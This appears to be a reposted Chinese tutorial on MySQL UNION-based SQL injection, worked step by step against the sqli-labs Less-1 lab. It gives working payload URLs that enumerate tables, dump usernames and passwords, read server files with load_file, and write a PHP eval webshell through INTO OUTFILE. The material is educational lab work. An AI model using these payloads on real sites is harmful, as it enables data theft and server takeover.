0


SQL注入之union 联合注入

声明

此篇文章仅用于研究与学习,请勿在未授权的情况下进行攻击。

一、union查询的特性

UNION联合查询的作用:把多个表中的数据联合在一起进行显示

注意:使用union查询的** select语句必须有用相同数量的字段,同时每条select **语句中的字段顺序必须相同。

第一步:创建两个结构相同的学生表tb_student1与tb_student2

mysql> create table tb_student1(
    id mediumint not null auto_increment,
    name varchar(20),
    age tinyint unsigned default 0,
    gender enum('男','女'),
    subject enum('ui','java','yunwei','python'),
    primary key(id)
) engine=innodb default charset=utf8;
mysql> insert into tb_student1 values (1,'悟空',255,'男','ui');
mysql> insert into tb_student1 values (2,'如来',100,'男','ui');

mysql> create table tb_student2(
    id mediumint not null auto_increment,
    name varchar(20),
    age tinyint unsigned default 0,
    gender enum('男','女'),
    subject enum('ui','java','yunwei','python'),
    primary key(id)
) engine=innodb default charset=utf8;
mysql> insert into tb_student2 values (2,'唐僧',30,'男','yunwei');
mysql> insert into tb_student2 values (3,'无天',40,'男','yunwei');

第二步:使用UNION进行联合查询可以将 tb_student1 表和 tb_student2表中的两个记录合并到一个表中,一起显示出来。

mysql> select * from tb_student1 union select * from tb_student2;

**1.1、特性-**1

正常的语句可以都显示出来,我们不按常理出牌,我们把语句ID值改成-1:

mysql> select * from tb_student1 where id=-1 union select * from tb_student2 where id=2;

+----+--------+------+--------+---------+

| id | name | age | gender | subject |

+----+--------+------+--------+---------+

| 2 | 唐僧 | 30 | 男 | yunwei |

+----+--------+------+--------+---------+

1 row in set (0.00 sec)

小结:-1是不存在的,所以使用union查询,如果查询不到,但是也不会报错,这里只把查询到的给显示出来了。

1.2、特性-2

mysql> select * from tb_student1 where id=-1 union select 1,2,3,4,5;

+----+--------+------+--------+---------+

| id | name | age | gender | subject |

+----+--------+------+--------+---------+

| 1 | 2 | 3 | 4 | 5 |

+----+--------+------+--------+---------+

2 rows in set (0.00 sec)

select 1,2,3,4,5是什么意思?

首先,select 之后可以接一串数字:1,2,3,4,5只是一个例子,这串数字并不一定要按从小到大排列,也不一定从1开始,如:

如111,22,665,99999,553,2 但是要注意,我们这个表中只有5个字段(分别是id,name,age,gender,subject)。我们在这个表中只能查询五个字段。

查询的数字是什么意思?有什么用?

我们知道正常的sql语句是

select * from tb_student1;

小结:select直接加数字时,可以不写后面的表名,那么它输出的内容就是我们select后的数字.

mysql> select 1,2,3,4,5 from tb_student1;

+---+---+---+---+---+

| 1 | 2 | 3 | 4 | 5 |

+---+---+---+---+---+

| 1 | 2 | 3 | 4 | 5 |

+---+---+---+---+---+

1 row in set (0.00 sec)

1.3、特性-3

select * from tb_student1 where id=1 union select * from tb_student1 where id=2;

+----+--------+------+--------+---------+

| id | name | age | gender | subject |

+----+--------+------+--------+---------+

| 1 | 悟空 | 255 | 男 | ui |

| 2 | 如来 | 100 | 男 | ui |

小结:使用UNION进行联合查询相同的表合并到一个表中,一起显示出来。

二、union联合注入

首先打开浏览器 sqlib第一关

http://192.168.83.144/sqli/Less-1/?id=1

这是我的sqlib,想知道如何下载sqlib的可以去我的上一篇博客去看,连接我放下面了。

(3条消息) 什么是 SQL 注入(SQL injection)_小gao的博客-CSDN博客

第一关数据库中的表为下图所示,我们可以看到有三个字段,分别是id username password

由下图可知,只有两个显示位,id显示的位置并没有显示出来(id显示不出来是因为写的代码就没有让id显示出来,无伤大雅),name 和password 显示出来了我们可以利用这两个显示位做一些事,我们给id,name,password编号为1,2,3 ,现在我们的需求是让2,3 显示到页面上。

2.1、让sqlib的Less-1页面显示出来2和3

在HackBar中写入:

http://192.168.83.144/sqli/Less-1/?id=1' union select 1,2,3 --+

页面没有变化,原因是显示位不够了

我们输入上面的参数,数据库中执行的是:

mysql> select * from users where id =1 union select 1,2,3;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | Dumb | Dumb |

| 1 | 2 | 3 |

+----+----------+----------+

2 rows in set (0.00 sec)

结合【1.2、特性-2】 这一小结可知 我们把 id修改成-1 就可以了。

我们先在在数据库中执行:

mysql> select * from users where id =-1 union select 1,2,3;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | 2 | 3 |

+----+----------+----------+

1 row in set (0.00 sec)

然后在hackbar中运行

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2,3 --+

2.2、MySQL中的一些函数

我们在使用union联合注入的时候需要了解到一些关于MySQL的知识,才能更好的去注入。

  • version():查询数据库的版本
  • user():查询数据库的使用者
  • database():数据库
  • system_user():系统用户名
  • session_user():连接数据库的用户名
  • current_user:当前用户名
  • @@datadir:读取数据库路径
  • @@basedir:mysql安装路径
  • group_concat(): 连接一个组的所有字符串,并以逗号分隔每一条数据
  • load_file(): 读取文件
  • into outfile: 写入文件
  • ascii() :字符串的ASCII代码值
  • substr(): 返回字符串的一部分
  • length(): 返回字符串的长度
  • sleep(): 让此语句运行N秒钟

2.3、MySQL中的函数和union的联合使用方法

用法也很简单,直接在函数前面加上select

mysql> select database();
mysql> select version();

既然select 1,2,3可以显示内容,select database()也能显示内容,那么我们结合起来。

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,database(),version() --+

2.4、group_concat()函数

**group_concat()**函数功能:将 where 条件匹配到的多条记录连接成一个字符串。

语法:group_concat (str1, str2,...)

例如:

select table_schema,table_name from information_schema.tables where table_schema='security';

解析一下table_schema和table_name是什么意思,这两个分别表示数据库的库名和具体的表名,也可以理解为表的库名和表的表名。information_schema.tables表示所有数据库的表的集合。

+--------------+------------+

| table_schema | table_name |

+--------------+------------+

| security | emails |

| security | referers |

| security | uagents |

| security | users |

+--------------+------------+

使用

group_concat()

函数把table_name 表里面所有的内容一起显示出来

select table_schema,group_concat(table_name) from information_schema.tables where table_schema='security';

+--------------+-------------------------------+

| table_schema | group_concat(table_name) |

+--------------+-------------------------------+

| security | emails,referers,uagents,users |

+--------------+-------------------------------+

为什么要使用这个函数?因为Less-1这里显示位只有两个,而我们查到的数据不止2条,我们需求是把所有查到的表都显示出来,所以我们要用group_concat()函数连接起来作为一行显示。

2.5、使用union和group_concat函数进行sql注入

把2,3 号显示位替换成我们要查的内容

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables
where table_schema ='security' --+

此时我们查询到了 4 个表名称分别是:

**emails,referers,uagents,users**

2.6、分析注入过程

我们看一下Less-1的源码

我们注入是在29行这里 SELECT * FROM users WHERE id='$id' LIMIT 0,1

当前我们构造的SQL语句为

SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+' LIMIT 0,1

红色的部分就是我们构造的sql语句。

数据库中实际执行的sql语句

SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+

注意:--+把后面的 ' LIMIT 0,1 给注释掉了

我们在数据库中测试一下

mysql> SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database();

+----+----------+-------------------------------+

| id | username | password |

+----+----------+-------------------------------+

| 1 | security | emails,referers,uagents,users |

+----+----------+-------------------------------+

1 row in set (0.00 sec)

发现注入成功。

2.7、使用union获取 users 表中的cloumn_name字段名

我们先在Navicat打开数据库找一下users这个表名:

如果我们要从users 获取column 字段名 sql语句应该这样写

select column_name from information_schema.columns where TABLE_SCHEMA='security' and TABLE_NAME = 'users'

这里的column_name表示:字段名

information_schema.columns表示:所有数据库的字段的集合

此时我们可以看见users表中有三个字段,id,username,password

在MySQL数据库中执行

mysql> select table_schema,table_name,column_name from information_schema.columns where table_schema=database() and table_name='users';

+--------------+------------+-------------+

| table_schema | table_name | column_name |

+--------------+------------+-------------+

| security | users | id |

| security | users | username |

| security | users | password |

+--------------+------------+-------------+

用group_concat()函数把查询到的字段column_name连接起来

select table_schema,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';

+--------------+------------+---------------------------+

| table_schema | table_name | group_concat(column_name) |

+--------------+------------+---------------------------+

| security | users | id,username,password |

+--------------+------------+---------------------------+

1 row in set (0.00 sec)

在浏览器中执行

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,table_schema,group_concat(column_name) from information_schema.columns where table_schema =database() and table_name ='users' --+

我们在user 表中查到三个字段,分别是 id,username,password

下一步就是获取三个字段中的值。

2.8、使用union获取 user表里字段中的值

我们首先在navicat中查看user表里字段中的值

在数据库中执行

mysql>  select username,password from users;

+----------+------------+

| username | password |

+----------+------------+

| Dumb | Dumb |

| Angelina | I-kill-you |

| Dummy | p@ssword |

| secure | crappy |

| stupid | stupidity |

| superman | genious |

| batman | mob!le |

| admin | admin |

| admin1 | admin1 |

| admin2 | admin2 |

| admin3 | admin3 |

| dhakkan | dumbo |

| admin4 | admin4 |

+----------+------------+

13 rows in set (0.00 sec)

用group_concat()把查询到的users 连接起来

select group_concat(username,password) from users;

** 在浏览器hackbar中执行**

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2, group_concat(username,password) from users--+

用户名密码 都连接到一块了,我们可以用逗号分隔

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2, group_concat(username,',',password) from users--+

三、union注入读写文件

3.1、查看MySQL读写文件的设置

mysql> show global variables like 'secure%';

+------------------+-----------------------+

| Variable_name | Value |

+------------------+-----------------------+

| secure_auth | ON |

| secure_file_priv | /var/lib/mysql-files/ |

+------------------+-----------------------+

2 rows in set (0.00 sec)

其中secure_file_priv这一项:

       为**NULL**的时候表示禁止读写文件

       为**空**的时候表示允许读写

       为某个路径的时候,表示只能在这个路径进行文件读写

读写文件必备条件:

  1. secure_file_priv= 空
  2. 必须知道文件的绝对路径
  3. web目录有读写入权限

3.2、修改MySQL配置文件,实现任意位置读写

修改MySQL配置文件

mysql/bin/my.ini

添加一句:

secure_file_priv=

在cmd中查看是否为空:

重启生效

**3.3、union注入读取文件(load_file) **

3.3.1、读取静态文件

在 MySQL 中读取文件,使用 load_file("文件路径/名称")

http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,load_file('C:/XAMPP2/htdocs/1.txt') --+

1231213123123就是1.txt的内容

**3.3.2、读取PHP文件 **

http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,load_file('C:/XAMPP2/htdocs/sqli-labs/sql-connections/db-creds.inc') --+

读取不到是为什么?

因为我们这个环境是php搭建的,读取php文件的时候就被php程序解析了,db-creds.inc不是php后缀,但是内容是php的。

想解决这个问题怎么办?

很简单,把我们读取到的php文件用hex函数编码一下。(hex函数可以把二进制数据转为16进制字符串)

http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,hex(load_file('C:/XAMPP2/htdocs/sqli-labs/sql-connections/db-creds.inc')) --+

我们把读取到的16进制字符串转为文本字符串,可以打开这个网站在线转换

16进制到文本字符串的转换,16进制-BeJSON.com

3.4、union写入文件into outfile

用法 into outfile 语句用于把表数据导出到一个文本文件中

用法:

select * from users into outfile "/var/lib/mysql/123.txt";

把PHP一句话木马写入到web目录

http://127.0.0.1:8888/sqli-labs/Less-1/?id=1' union select 1,'<?php eval($_POST[123]); ?>',3 into outfile 'C:/XAMPP2/htdocs/muma/a.php' --+

写入木马后我们可以用webshell 工具连接了。(我这里用的是蚁剑)

访问之前上传的木马,确认文件目录

** **

此时我们就已经连接到了靶机。

四、union联合注入总结

4.1、联合注入总结

  1. 先判断是否有注入点
  2. order by 判断出有几个字段
  3. union select 求显示位
  4. 获取库名 database()
  5. 获取数据库中的表group_concat(table_name) from information_schema.tables where table_schema=database();
  6. 查询出表中字段名group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=``````表名``````;
  7. 查询字段的值 group_concat(字段名,字段名) from 表名;

4.2、文件读写注入总结

1.secure_file_priv= 空

2.必须知道文件的绝对路径

3.web目录有读写入权限

标签: sql 数据库 安全

本文转载自: https://blog.csdn.net/weixin_53711701/article/details/128437770
版权归原作者 小gao 所有, 如有侵权,请联系我们删除。

“SQL注入之union 联合注入”的评论:

还没有评论